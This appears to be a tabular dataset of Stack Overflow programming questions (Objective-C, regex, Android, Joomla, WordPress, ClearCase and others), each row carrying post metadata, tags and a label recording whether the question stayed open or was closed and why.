PostId
int64
13
11.8M
PostCreationDate
stringlengths
19
19
OwnerUserId
int64
3
1.57M
OwnerCreationDate
stringlengths
10
19
ReputationAtPostCreation
int64
-33
210k
OwnerUndeletedAnswerCountAtPostTime
int64
0
5.77k
Title
stringlengths
10
250
BodyMarkdown
stringlengths
12
30k
Tag1
stringlengths
1
25
Tag2
stringlengths
1
25
Tag3
stringlengths
1
25
Tag4
stringlengths
1
25
Tag5
stringlengths
1
25
PostClosedDate
stringlengths
19
19
OpenStatus
stringclasses
5 values
unified_texts
stringlengths
47
30.1k
OpenStatus_id
int64
0
4
7,031,161
08/11/2011 18:44:58
837,783
07/10/2011 16:25:42
16
1
How to access objective-c properties in class methods
It's impossible to access an objective-c property in a class method like this: @interface MyClass @property (nonatomic, retain) NSMutableArray myStudents; @end @implementation MyClass + (id)myClassMethod { return self.myStudents; } // bad @end This MyClass happens to be a singleton object, so is there a way I can be able to access that object using a class method in MyClass? Like UIApplication does with `[UIApplication sharedApplication]`
objective-c
singleton
null
null
null
null
open
How to access objective-c properties in class methods === It's impossible to access an objective-c property in a class method like this: @interface MyClass @property (nonatomic, retain) NSMutableArray myStudents; @end @implementation MyClass + (id)myClassMethod { return self.myStudents; } // bad @end This MyClass happens to be a singleton object, so is there a way I can be able to access that object using a class method in MyClass? Like UIApplication does with `[UIApplication sharedApplication]`
0
6,135,117
05/26/2011 07:26:29
770,858
05/26/2011 07:26:29
1
0
Regular expression problem..
Expression should start with a alphanumeric and should have alphabets, @, $, %, _, - and a single space in the middle and should ends with alphanumeric!" e.g. 1a1 --valid e.g. 1111-- not valid e.g. 2222$2211--valid e.g %11a25 --invalid
javascript
null
null
null
null
05/28/2011 08:09:51
too localized
Regular expression problem.. === Expression should start with a alphanumeric and should have alphabets, @, $, %, _, - and a single space in the middle and should ends with alphanumeric!" e.g. 1a1 --valid e.g. 1111-- not valid e.g. 2222$2211--valid e.g %11a25 --invalid
3
5,168,071
03/02/2011 13:25:40
639,054
03/01/2011 08:54:51
141
15
List sub-directories with ls
How could I list sub-directories with ls, with '-d' only the current directory is shown. I want something like `find . -type d -maxdepth=1` would give me.
linux
shell
null
null
null
03/02/2011 14:06:22
off topic
List sub-directories with ls === How could I list sub-directories with ls, with '-d' only the current directory is shown. I want something like `find . -type d -maxdepth=1` would give me.
2
11,391,704
07/09/2012 08:46:26
1,327,029
04/11/2012 15:45:27
45
0
How to customize joomla extension?
I installed ContactForm Version:2.13 extension into my joomla website. Its working fine but by default ,it shows a link - "Show contact form" and after clicking it, a pop up form is opening. I want to open that form after clicking an image. How can i do that?
joomla
joomla2.5
null
null
null
07/10/2012 15:40:23
not a real question
How to customize joomla extension? === I installed ContactForm Version:2.13 extension into my joomla website. Its working fine but by default ,it shows a link - "Show contact form" and after clicking it, a pop up form is opening. I want to open that form after clicking an image. How can i do that?
1
5,559,256
04/05/2011 22:18:51
403,915
07/27/2010 21:47:50
61
10
Private functions / Variables enforcement in python
I see a lot of python code that does "loose" private variables / functions. They'll declare functions / variables with one underscore (eg. _foo) and then use it just in the class / file. It really annoys me that they don't use the double underscore because eventually, someone will call this "private" member from outside the class. Is there some way to enforce the privacy on single underscores (without changing to doubles)? Thanks!
python
null
null
null
null
null
open
Private functions / Variables enforcement in python === I see a lot of python code that does "loose" private variables / functions. They'll declare functions / variables with one underscore (eg. _foo) and then use it just in the class / file. It really annoys me that they don't use the double underscore because eventually, someone will call this "private" member from outside the class. Is there some way to enforce the privacy on single underscores (without changing to doubles)? Thanks!
0
3,288,153
07/20/2010 08:23:06
396,569
07/20/2010 08:23:06
1
0
how many sites powered by codeigniter?
help me please!!!
codeigniter
null
null
null
null
07/20/2010 08:25:19
off topic
how many sites powered by codeigniter? === help me please!!!
2
11,289,157
07/02/2012 07:08:55
1,326,517
04/11/2012 12:13:15
42
2
Exclamation in url gets converted to %21 - Works fine in firefox, not working in chrome and IE
pls check this website, http://1008designs.in/ the design works perfect in Firefox, but when it comes to Chrome and IE, I'm getting a big problem. The `!` in the url gets converted to `%21` in Chrome and IE. Because of this the URL doesn't works. pls help asap. I want to fix this issue soon. Everything else fine. Only the problem is in that `!` mark.
jquery
html
css
internet-explorer
google-chrome
07/10/2012 13:25:25
too localized
Exclamation in url gets converted to %21 - Works fine in firefox, not working in chrome and IE === pls check this website, http://1008designs.in/ the design works perfect in Firefox, but when it comes to Chrome and IE, I'm getting a big problem. The `!` in the url gets converted to `%21` in Chrome and IE. Because of this the URL doesn't works. pls help asap. I want to fix this issue soon. Everything else fine. Only the problem is in that `!` mark.
3
9,144,916
02/04/2012 21:56:16
1,175,704
01/28/2012 20:40:56
1
0
dialog code wrong somewere?
Can someone help with this code. what am looking for is for the button on my dialog to go back a page . so i dont have to press the phone back button thank you. java file import android.app.Activity; import android.app.Dialog; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.view.View.OnClickListener; public class DlogActivity extends Activity { /** Called when the activity is first created. */ Dialog dialog; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); dialog = new Dialog(this); dialog.setContentView(R.layout.main2); dialog.setTitle("This is my custom dialog box"); dialog.setCancelable(true); Button b=(Button)findViewById(R.id.button1); @SuppressWarnings("unused") Button button01 =(Button)findViewById(R.id.btn2); Intent intent = new Intent(DlogActivity.this, DlogActivity.class); startActivity(intent); finish(); b.setOnClickListener(new OnClickListener() { @SuppressWarnings("unused") public void onBackPressed() { dialog.cancel(); // Simply Dismiss the dialog to make it close and return to back.. /*What you are using is not a valid construct */ } public void onClick(View v) { dialog.show(); } }); } } xml.code <Button android:id="@+id/btn2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="bottom" android:text="Button" /> <ImageView android:layout_width="236dp" android:layout_height="220dp" android:layout_marginRight="100dp" android:background="@drawable/carsee"/> <RelativeLayout android:id="@+id/relativeLayout1" android:layout_width="fill_parent" android:layout_height="fill_parent" > </RelativeLayout> </LinearLayout>
android
dialog
null
null
null
null
open
dialog code wrong somewere? === Can someone help with this code. what am looking for is for the button on my dialog to go back a page . so i dont have to press the phone back button thank you. java file import android.app.Activity; import android.app.Dialog; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.Button; import android.view.View.OnClickListener; public class DlogActivity extends Activity { /** Called when the activity is first created. */ Dialog dialog; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); dialog = new Dialog(this); dialog.setContentView(R.layout.main2); dialog.setTitle("This is my custom dialog box"); dialog.setCancelable(true); Button b=(Button)findViewById(R.id.button1); @SuppressWarnings("unused") Button button01 =(Button)findViewById(R.id.btn2); Intent intent = new Intent(DlogActivity.this, DlogActivity.class); startActivity(intent); finish(); b.setOnClickListener(new OnClickListener() { @SuppressWarnings("unused") public void onBackPressed() { dialog.cancel(); // Simply Dismiss the dialog to make it close and return to back.. /*What you are using is not a valid construct */ } public void onClick(View v) { dialog.show(); } }); } } xml.code <Button android:id="@+id/btn2" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_gravity="bottom" android:text="Button" /> <ImageView android:layout_width="236dp" android:layout_height="220dp" android:layout_marginRight="100dp" android:background="@drawable/carsee"/> <RelativeLayout android:id="@+id/relativeLayout1" android:layout_width="fill_parent" android:layout_height="fill_parent" > </RelativeLayout> </LinearLayout>
0
11,411,680
07/10/2012 10:47:54
733,332
05/01/2011 13:59:18
395
9
MBProgress HUD crashing application on reloadData on tableView
I am using this piece of code to display an MBProgressHUD over the top of one of my views while I download data from a web-service, the only problem is that occasionally this code will cause the app to hang, doing nothing while the HUD displays "Downloading" and the screen is locked. Also, if I have something like a keyboard being displayed to the user when I press the refresh button (refresh button performs the download) then the application crashes on the line: [self.tableView reloadData]; My code: //Checks for network connection then displays HUD while executing pullAndDisplayData method - (IBAction) update { UIAlertView *errorView; if([[Reachability reachabilityForInternetConnection] currentReachabilityStatus] == NotReachable) { errorView = [[UIAlertView alloc] initWithTitle: @"Network Error" message: @"No Network connection availible!" delegate: self cancelButtonTitle: @"OK" otherButtonTitles: nil]; [errorView show]; } else { HUD = [[MBProgressHUD alloc] initWithView:self.navigationController.view]; [self.navigationController.view addSubview:HUD]; HUD.delegate = self; HUD.labelText = @"Downloading"; HUD.minSize = CGSizeMake(135.f, 135.f); [HUD showWhileExecuting:@selector(pullAndDisplayData) onTarget:self withObject:nil animated:YES]; } } //Downloads this users data from the web-service - (void) pullAndDisplayData{ // Indeterminate mode ExpensesDataDownloader *downloader = [[ExpensesDataDownloader alloc] init]; [downloader pullAndDisplayData]; NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; if ([[defaults objectForKey:@"canExportCSVServer"] isEqualToString:@"1"]) { } [self.tableView reloadData]; // Switch to determinate mode HUD.mode = MBProgressHUDModeDeterminate; HUD.labelText = @"Updating"; float progress = 0.0f; while (progress < 1.0f) { progress += 0.01f; HUD.progress = progress; usleep(15000); } // The sample image is based on the work by www.pixelpressicons.com, http://creativecommons.org/licenses/by/2.5/ca/ // Make the customViews 37 by 37 pixels for best results (those are the bounds of the build-in progress indicators) HUD.customView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"37x-Checkmark.png"]]; HUD.mode = MBProgressHUDModeCustomView; HUD.labelText = @"Completed"; sleep(2); } Any help would be much appreciated. Thanks, Jack
iphone
objective-c
ios
uitableview
mbprogresshud
null
open
MBProgress HUD crashing application on reloadData on tableView === I am using this piece of code to display an MBProgressHUD over the top of one of my views while I download data from a web-service, the only problem is that occasionally this code will cause the app to hang, doing nothing while the HUD displays "Downloading" and the screen is locked. Also, if I have something like a keyboard being displayed to the user when I press the refresh button (refresh button performs the download) then the application crashes on the line: [self.tableView reloadData]; My code: //Checks for network connection then displays HUD while executing pullAndDisplayData method - (IBAction) update { UIAlertView *errorView; if([[Reachability reachabilityForInternetConnection] currentReachabilityStatus] == NotReachable) { errorView = [[UIAlertView alloc] initWithTitle: @"Network Error" message: @"No Network connection availible!" delegate: self cancelButtonTitle: @"OK" otherButtonTitles: nil]; [errorView show]; } else { HUD = [[MBProgressHUD alloc] initWithView:self.navigationController.view]; [self.navigationController.view addSubview:HUD]; HUD.delegate = self; HUD.labelText = @"Downloading"; HUD.minSize = CGSizeMake(135.f, 135.f); [HUD showWhileExecuting:@selector(pullAndDisplayData) onTarget:self withObject:nil animated:YES]; } } //Downloads this users data from the web-service - (void) pullAndDisplayData{ // Indeterminate mode ExpensesDataDownloader *downloader = [[ExpensesDataDownloader alloc] init]; [downloader pullAndDisplayData]; NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults]; if ([[defaults objectForKey:@"canExportCSVServer"] isEqualToString:@"1"]) { } [self.tableView reloadData]; // Switch to determinate mode HUD.mode = MBProgressHUDModeDeterminate; HUD.labelText = @"Updating"; float progress = 0.0f; while (progress < 1.0f) { progress += 0.01f; HUD.progress = progress; usleep(15000); } // The sample image is based on the work by www.pixelpressicons.com, http://creativecommons.org/licenses/by/2.5/ca/ // Make the customViews 37 by 37 pixels for best results (those are the bounds of the build-in progress indicators) HUD.customView = [[UIImageView alloc] initWithImage:[UIImage imageNamed:@"37x-Checkmark.png"]]; HUD.mode = MBProgressHUDModeCustomView; HUD.labelText = @"Completed"; sleep(2); } Any help would be much appreciated. Thanks, Jack
0
301,994
11/19/2008 14:18:22
9,707
09/15/2008 19:43:36
481
9
What is the best Eclipse GWT plugin?
We're going to investigate GWT for our project. When searching for an Eclipse GWT plugin I got many. - [Googlipse][1] - [GWT-Tooling][2] - [Cypal studio][3] - Other? In your view, what is the best GWT plugin for Eclipse and why? [1]: http://sourceforge.net/projects/googlipse [2]: http://code.google.com/p/gwt-tooling/ [3]: http://code.google.com/p/cypal-studio/
eclipse
gwt
eclipse-plugin
null
null
09/20/2011 14:17:32
not constructive
What is the best Eclipse GWT plugin? === We're going to investigate GWT for our project. When searching for an Eclipse GWT plugin I got many. - [Googlipse][1] - [GWT-Tooling][2] - [Cypal studio][3] - Other? In your view, what is the best GWT plugin for Eclipse and why? [1]: http://sourceforge.net/projects/googlipse [2]: http://code.google.com/p/gwt-tooling/ [3]: http://code.google.com/p/cypal-studio/
4
8,571,421
12/20/2011 06:02:38
399,145
07/22/2010 13:40:20
42
0
How to filter the baselines(UCM) alone from describe command?
As we are having many components , I am trying to describe all the baselines using following command cleartool describe -l baseline:Baseline_2.1.0.13@\My_PVOB It provides output like follows "Build 13" master replica: My_PVOB@\My_PVOB owner: Admin group: ABC stream:Components_Integration@\My_PVOB component: Baselines@\My_PVOB label status: No Versions to Label change sets: promotion level: INITIAL depends on: Baseline_2.1.0.13.8206@\My_PVOB (Comp1@\My_PVOB) Baseline_2.1.0.13.433@\My_PVOB (Comp2@\My_PVOB) Baseline_2.1.0.13.423@\My_PVOB (Comp3@\My_PVOB) Baseline_2.1.0.13.3763@\My_PVOB (Comp4@\My_PVOB) Actually i want to get contents only below depends on: ( Want to get Just following contents) Baseline_2.1.0.13.8206@\My_PVOB (Comp1@\My_PVOB) Baseline_2.1.0.13.433@\My_PVOB (Comp2@\My_PVOB) Baseline_2.1.0.13.423@\My_PVOB (Comp3@\My_PVOB) Baseline_2.1.0.13.3763@\My_PVOB (Comp4@\My_PVOB) How to omit the remaining information?
clearcase
cleartool
clearcase-ucm
null
null
null
open
How to filter the baselines(UCM) alone from describe command? === As we are having many components , I am trying to describe all the baselines using following command cleartool describe -l baseline:Baseline_2.1.0.13@\My_PVOB It provides output like follows "Build 13" master replica: My_PVOB@\My_PVOB owner: Admin group: ABC stream:Components_Integration@\My_PVOB component: Baselines@\My_PVOB label status: No Versions to Label change sets: promotion level: INITIAL depends on: Baseline_2.1.0.13.8206@\My_PVOB (Comp1@\My_PVOB) Baseline_2.1.0.13.433@\My_PVOB (Comp2@\My_PVOB) Baseline_2.1.0.13.423@\My_PVOB (Comp3@\My_PVOB) Baseline_2.1.0.13.3763@\My_PVOB (Comp4@\My_PVOB) Actually i want to get contents only below depends on: ( Want to get Just following contents) Baseline_2.1.0.13.8206@\My_PVOB (Comp1@\My_PVOB) Baseline_2.1.0.13.433@\My_PVOB (Comp2@\My_PVOB) Baseline_2.1.0.13.423@\My_PVOB (Comp3@\My_PVOB) Baseline_2.1.0.13.3763@\My_PVOB (Comp4@\My_PVOB) How to omit the remaining information?
0
8,389,789
12/05/2011 18:08:20
134,597
10/14/2008 19:52:38
1,906
49
HTML coding style
Ok... We've got: - HTML 4.whatever... - XHTML - HTML 5 HTML 5 is supported on most desktops today, beyond that HTML 4 is probably just about unversally supported, and I'm not really sure what point of XHTML is at this point in time. The question is at this current point in time what is considered good "Coding Style" for html given all the options that are avaliable? And are there any good "Style Guides" for generating HTML pages today? What would be good editor that supports generating good html coding style? We've been giving some of our "managment" instructions on generating templates using Word, which is just NOT a good html editor. But they aren't the type that we can just give a copy of notepad++ and say go at it.
html
coding-style
null
null
null
12/06/2011 13:02:01
not constructive
HTML coding style === Ok... We've got: - HTML 4.whatever... - XHTML - HTML 5 HTML 5 is supported on most desktops today, beyond that HTML 4 is probably just about unversally supported, and I'm not really sure what point of XHTML is at this point in time. The question is at this current point in time what is considered good "Coding Style" for html given all the options that are avaliable? And are there any good "Style Guides" for generating HTML pages today? What would be good editor that supports generating good html coding style? We've been giving some of our "managment" instructions on generating templates using Word, which is just NOT a good html editor. But they aren't the type that we can just give a copy of notepad++ and say go at it.
4
8,101,217
11/11/2011 23:34:02
137,629
07/13/2009 19:01:05
171
1
Need help adding slashes to a text box onblur so it looks like a phone number
I'm terrible at JS regular expressions and I'm counting on an intelligent being to help me accomplish what should be a trivial task. Onblur, I want a text field of 10 numbers '1234567890' to be formatted as 123/456/7890 using JS. And Onfocus, it should revert to the number '1234567890' without slashes. That's it. Hope you can help!
javascript
html
css
null
null
11/12/2011 00:19:38
not a real question
Need help adding slashes to a text box onblur so it looks like a phone number === I'm terrible at JS regular expressions and I'm counting on an intelligent being to help me accomplish what should be a trivial task. Onblur, I want a text field of 10 numbers '1234567890' to be formatted as 123/456/7890 using JS. And Onfocus, it should revert to the number '1234567890' without slashes. That's it. Hope you can help!
1
11,494,096
07/15/2012 17:31:03
1,527,210
07/15/2012 17:20:46
1
0
PHP IDE: How is that functionality called
please how is called the functionality in IDEs when your cursor is on some of your method and you press (for example) Ctrl + MOUSE CLICK and you will be moved to the method’s source code (i know for sure that PhpEd has it).. I am looking for some PHP IDE for MAC with this feature and i found nothing :// I tried Aptana, NetBeans but this feature is missing .
php
php-ide
null
null
null
07/16/2012 13:35:28
off topic
PHP IDE: How is that functionality called === please how is called the functionality in IDEs when your cursor is on some of your method and you press (for example) Ctrl + MOUSE CLICK and you will be moved to the method’s source code (i know for sure that PhpEd has it).. I am looking for some PHP IDE for MAC with this feature and i found nothing :// I tried Aptana, NetBeans but this feature is missing .
2
8,344,950
12/01/2011 16:41:00
1,066,031
11/25/2011 17:13:25
8
1
Java socket output stream
Can you have an `PrintWriter` and `ObjectOutputStream` on the same sockets output stream? out_stream = new PrintWriter(socket.getOutputStream(), true); obj_stream = new ObjectOutputStream(socket.getOutputStream();
java
sockets
networking
null
null
null
open
Java socket output stream === Can you have an `PrintWriter` and `ObjectOutputStream` on the same sockets output stream? out_stream = new PrintWriter(socket.getOutputStream(), true); obj_stream = new ObjectOutputStream(socket.getOutputStream();
0
5,699,393
04/18/2011 06:45:04
709,187
04/15/2011 05:10:53
1
0
How to make custom UIComponent Accessible?
I added a MXML component in flex and selected the base as UIComponent. I want to make it accessible so that automated testing tools can Access it. I am using TestComplete for automated testing. As TestComplete uses Microsoft Accessibility classes. Now it treat my component as the Graphics. How Can I do this??
flex
flex3
accessibility
testcomplete
null
null
open
How to make custom UIComponent Accessible? === I added a MXML component in flex and selected the base as UIComponent. I want to make it accessible so that automated testing tools can Access it. I am using TestComplete for automated testing. As TestComplete uses Microsoft Accessibility classes. Now it treat my component as the Graphics. How Can I do this??
0
11,466,042
07/13/2012 07:32:38
1,522,464
07/13/2012 02:55:20
1
0
Not able to load javascript in my html file using ajax.
I am using AJAX to call a html file and the file uses jquery and javascript which I have already called in the page before .But the javascript (and CSS) are not being executed. How can we get my javascript to work. The page uses the same CSS and Javascript which the page which has already been loaded uses. So how can we configure so that the new html page requested uses the same javascript and CSS.
javascript
html
ajax
null
null
07/14/2012 21:19:32
not a real question
Not able to load javascript in my html file using ajax. === I am using AJAX to call a html file and the file uses jquery and javascript which I have already called in the page before .But the javascript (and CSS) are not being executed. How can we get my javascript to work. The page uses the same CSS and Javascript which the page which has already been loaded uses. So how can we configure so that the new html page requested uses the same javascript and CSS.
1
5,562,313
04/06/2011 06:34:29
508,127
11/15/2010 10:28:18
1,052
6
How to design a class with nested property? c#
how to design a class with nested property. like instance.property1.property2. please discuss a this with small code in c# as a result class will have nested property. thanks
c#
null
null
null
null
04/06/2011 08:12:32
not a real question
How to design a class with nested property? c# === how to design a class with nested property. like instance.property1.property2. please discuss a this with small code in c# as a result class will have nested property. thanks
1
9,925,584
03/29/2012 12:43:44
1,298,904
03/28/2012 17:50:07
1
0
autocomplete Textbox control wpf
I have a requirement in WPF where i have to filter particular values in the DataGrid via an Autocomplete textbox control. We are to search the particular field through a combobox which is bound to the columns of our datagrid. i am keen about some reference of how to filter number of records of that particular column using the autocomplete textbox control. help is much appreciated. -regards
wpf-controls
wpfdatagrid
null
null
null
03/30/2012 18:58:05
not a real question
autocomplete Textbox control wpf === I have a requirement in WPF where i have to filter particular values in the DataGrid via an Autocomplete textbox control. We are to search the particular field through a combobox which is bound to the columns of our datagrid. i am keen about some reference of how to filter number of records of that particular column using the autocomplete textbox control. help is much appreciated. -regards
1
5,513,970
04/01/2011 13:21:24
687,628
04/01/2011 13:11:58
1
0
(subsonic) problem with deleting rows (my table contains Deleted column)
I have a table named 'Test' contains - id int - name nvarchar - Deleted bit columns. First i install subsonic in my project using sql server 2000. where i try to delete some rows, it throw object null exception for me on line: repo.Update(); //object reference not set to... ------- I config subsonic again with sql server 2008, Now when i try to delete row, it work fine! even when i change connection string to sql 2000. But my current problem is: When i try to delete some rows that does not exists with lambda expression like below it threw a new exception: Test.Delete(a=>a.id==100); //it doesn't exists! //... repo.Update(); //ExecuteNonQuery: CommandText property has not been initialized I use VS2008, sql2008 & sql2000 and subsonic 3.0.0.4
subsonic
null
null
null
null
null
open
(subsonic) problem with deleting rows (my table contains Deleted column) === I have a table named 'Test' contains - id int - name nvarchar - Deleted bit columns. First i install subsonic in my project using sql server 2000. where i try to delete some rows, it throw object null exception for me on line: repo.Update(); //object reference not set to... ------- I config subsonic again with sql server 2008, Now when i try to delete row, it work fine! even when i change connection string to sql 2000. But my current problem is: When i try to delete some rows that does not exists with lambda expression like below it threw a new exception: Test.Delete(a=>a.id==100); //it doesn't exists! //... repo.Update(); //ExecuteNonQuery: CommandText property has not been initialized I use VS2008, sql2008 & sql2000 and subsonic 3.0.0.4
0
10,189,172
04/17/2012 10:06:56
1,196,969
02/08/2012 10:52:49
46
1
To download the package from local server
How to download any package to your device from the local server in android ?
android
download
localserver
null
null
04/18/2012 12:24:33
not a real question
To download the package from local server === How to download any package to your device from the local server in android ?
1
8,447,168
12/09/2011 14:46:40
1,085,598
12/07/2011 12:29:14
15
0
Nothing showing under PHP and mySQL <tr>
I'm looping a table with mySQL and with a while function and the table builds all the table headers and the loop, but nothing under the loop. I have a <?php endwhile ?> after the loop but it won't display anything under that. It will echo more than one tr from the database but I loose the rest of the page!
php
mysql
table
while-loops
null
12/09/2011 16:35:29
not a real question
Nothing showing under PHP and mySQL <tr> === I'm looping a table with mySQL and with a while function and the table builds all the table headers and the loop, but nothing under the loop. I have a <?php endwhile ?> after the loop but it won't display anything under that. It will echo more than one tr from the database but I loose the rest of the page!
1
3,254,729
07/15/2010 10:35:30
175,469
09/18/2009 11:16:54
557
21
Web user account management components
I need to create user account registration / login / management components for a Spring backed web application. I'm intending to use Acegi to help with the authentication side of things. Is there a framework / set of components that can help with the boilerplate account validation e-mails, forgotten password handling etc functions? Related but not the same as [this question][1], and almost exactly the same as [a question on the SpringSource forum][2], that was asked several years ago. [1]: http://stackoverflow.com/questions/571081/solutions-for-java-user-account-management [2]: http://forum.springsource.org/showthread.php?p=153358
java
spring
web-applications
spring-security
null
null
open
Web user account management components === I need to create user account registration / login / management components for a Spring backed web application. I'm intending to use Acegi to help with the authentication side of things. Is there a framework / set of components that can help with the boilerplate account validation e-mails, forgotten password handling etc functions? Related but not the same as [this question][1], and almost exactly the same as [a question on the SpringSource forum][2], that was asked several years ago. [1]: http://stackoverflow.com/questions/571081/solutions-for-java-user-account-management [2]: http://forum.springsource.org/showthread.php?p=153358
0
7,623,741
10/02/2011 00:00:32
469,906
10/08/2010 06:28:30
3
0
Programming language for beginning indie developer? What direction should I go?
I know C++ and java. My school focuses on Java but it doesn't seem to be very appropriate for game design. I wouldn't even consider Java if it wasn't for Minecraft. I want to make some nice and small indie games. If they go far great, but I also want to be marketable to be safe. It seems like C#/XNA seems to be catching on, but I don't own a 360, it's not really portable, and developers seem to be more into C++. I feel portability is important to me, also my laptop is a mac. In fact I want to give a shot programming iPhone apps too, but objective-C is a big turn off. Every time I look into libraries to get started for C++, I just get overwhelmed and then get unmotivated. Everyone has their own opinion what to use. Like SFML is great but it's new, so less documentation, SDL is more supportive for c, etc. There are I'm sure tricks and ways to get away with using X on Y, but I'm still a newbie and don't want to be overwhelmed. I feel like I can't proceed until I make a firm decision on my route up ahead. Any help?
language
indie
null
null
null
10/02/2011 00:56:41
off topic
Programming language for beginning indie developer? What direction should I go? === I know C++ and java. My school focuses on Java but it doesn't seem to be very appropriate for game design. I wouldn't even consider Java if it wasn't for Minecraft. I want to make some nice and small indie games. If they go far great, but I also want to be marketable to be safe. It seems like C#/XNA seems to be catching on, but I don't own a 360, it's not really portable, and developers seem to be more into C++. I feel portability is important to me, also my laptop is a mac. In fact I want to give a shot programming iPhone apps too, but objective-C is a big turn off. Every time I look into libraries to get started for C++, I just get overwhelmed and then get unmotivated. Everyone has their own opinion what to use. Like SFML is great but it's new, so less documentation, SDL is more supportive for c, etc. There are I'm sure tricks and ways to get away with using X on Y, but I'm still a newbie and don't want to be overwhelmed. I feel like I can't proceed until I make a firm decision on my route up ahead. Any help?
2
9,579,901
03/06/2012 08:03:18
1,225,105
02/22/2012 06:32:56
18
2
Move to top function is not working in kineticJs
I am trying to load multiple images onto a canvas using html5 img tag.<br> and images are replaceable .eg there are 5 list of images The images are also draggable<br> and onclick of a particular images replaces the last uploaded image from the same list,<br> The problem I m facing is that when I upload a new element it comes on top of other. and onclick of the bottom element I want it to move to top and drag. I tried to used the kineticjs fuction called move to top but nothing is happening..I also checked the library and it's fine.. <br>So please help ,Sorry it's a tricky question and I can't paste my full code here cause it too big. Here is the part where I'm trying to add the move to top functionality function drawImageOnLayer(layer, img) { var x = stage.width / 2 - 100 ; var y = stage.height / 2 - 200 ; var width = 200; var height = 400; var kinecticImg = new Kinetic.Shape(function(){ var context = this.getContext(); context.drawImage(img, x, y, width, height); // draw invisible detectable path for image context.beginPath(); context.rect(x, y, width, height); context.closePath(); }); // enable drag and drop kinecticImg.draggable(true); this function is not working kinecticImg.on("mousedown", function(){ this.moveToTop(); layer.draw(); End }); layer.clear(); layer.add(kinecticImg); layer.draw(); }
javascript
image
drag-and-drop
html5-canvas
kineticjs
07/19/2012 02:05:56
too localized
Move to top function is not working in kineticJs === I am trying to load multiple images onto a canvas using html5 img tag.<br> and images are replaceable .eg there are 5 list of images The images are also draggable<br> and onclick of a particular images replaces the last uploaded image from the same list,<br> The problem I m facing is that when I upload a new element it comes on top of other. and onclick of the bottom element I want it to move to top and drag. I tried to used the kineticjs fuction called move to top but nothing is happening..I also checked the library and it's fine.. <br>So please help ,Sorry it's a tricky question and I can't paste my full code here cause it too big. Here is the part where I'm trying to add the move to top functionality function drawImageOnLayer(layer, img) { var x = stage.width / 2 - 100 ; var y = stage.height / 2 - 200 ; var width = 200; var height = 400; var kinecticImg = new Kinetic.Shape(function(){ var context = this.getContext(); context.drawImage(img, x, y, width, height); // draw invisible detectable path for image context.beginPath(); context.rect(x, y, width, height); context.closePath(); }); // enable drag and drop kinecticImg.draggable(true); this function is not working kinecticImg.on("mousedown", function(){ this.moveToTop(); layer.draw(); End }); layer.clear(); layer.add(kinecticImg); layer.draw(); }
3
10,412,787
05/02/2012 11:26:11
1,369,846
05/02/2012 11:07:23
1
0
How does one prevent detection of a Wordpress installation by chromesniffer, builtwith and various security testing software?
if it gets detected then things become easier for script kiddies to attack, using the most recently available public exploits.
php
wordpress
security
website
null
05/02/2012 12:25:44
not a real question
How does one prevent detection of a Wordpress installation by chromesniffer, builtwith and various security testing software? === if it gets detected then things become easier for script kiddies to attack, using the most recently available public exploits.
1
7,827,650
10/19/2011 20:23:36
975,767
10/02/2011 20:07:18
6
0
Button getting EXC_BAD_ACCESS?
im trying to create a simple app that allows you to switch views. I can go to the next view but when i click the back button i get a EXC_BAD_ACCESS error on this line in the main.m: return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); This is the code im using to go back: -(IBAction)back:(id)sender{ [self.view removeFromSuperview]; } i cant figure out what the problem would be so any help is appreciated! thank you.
button
ios5
exc-bad-access
ibaction
xcode4.2
null
open
Button getting EXC_BAD_ACCESS? === im trying to create a simple app that allows you to switch views. I can go to the next view but when i click the back button i get a EXC_BAD_ACCESS error on this line in the main.m: return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); This is the code im using to go back: -(IBAction)back:(id)sender{ [self.view removeFromSuperview]; } i cant figure out what the problem would be so any help is appreciated! thank you.
0
7,937,013
10/29/2011 04:28:36
379,100
06/29/2010 14:34:26
6
0
PHP book recommendation
I just completed reading "Head first php" and have also referred "php essential training" from lynda. Now i am very much comfortable with php syntax and basics, which book or tutorial shall I next start with?
php
books
null
null
null
10/29/2011 04:38:57
not constructive
PHP book recommendation === I just completed reading "Head first php" and have also referred "php essential training" from lynda. Now i am very much comfortable with php syntax and basics, which book or tutorial shall I next start with?
4
8,950,956
01/21/2012 05:36:38
1,161,933
01/21/2012 05:32:26
1
0
How add list(ArrayList) in JFrame?
how can I add a list from arraylist from a class created by me to a Jframe window?
jframe
null
null
null
null
01/21/2012 14:10:15
not a real question
How add list(ArrayList) in JFrame? === how can I add a list from arraylist from a class created by me to a Jframe window?
1
10,486,942
05/07/2012 18:12:34
1,274,693
03/16/2012 18:16:48
1
0
What are some blogs for php practices?
I am a beginner learning PHP codes with a book for myself. I believe in adventures more than rules, and I wanted to know some blogs or web resources which gives real time examples because I am bit tired about learning just the syntax and structures.
php
php5
null
null
null
05/07/2012 18:14:26
not constructive
What are some blogs for php practices? === I am a beginner learning PHP codes with a book for myself. I believe in adventures more than rules, and I wanted to know some blogs or web resources which gives real time examples because I am bit tired about learning just the syntax and structures.
4
11,530,374
07/17/2012 20:27:07
953,628
09/19/2011 22:33:42
164
24
XMLTextWriter C# and no data found for standard xml
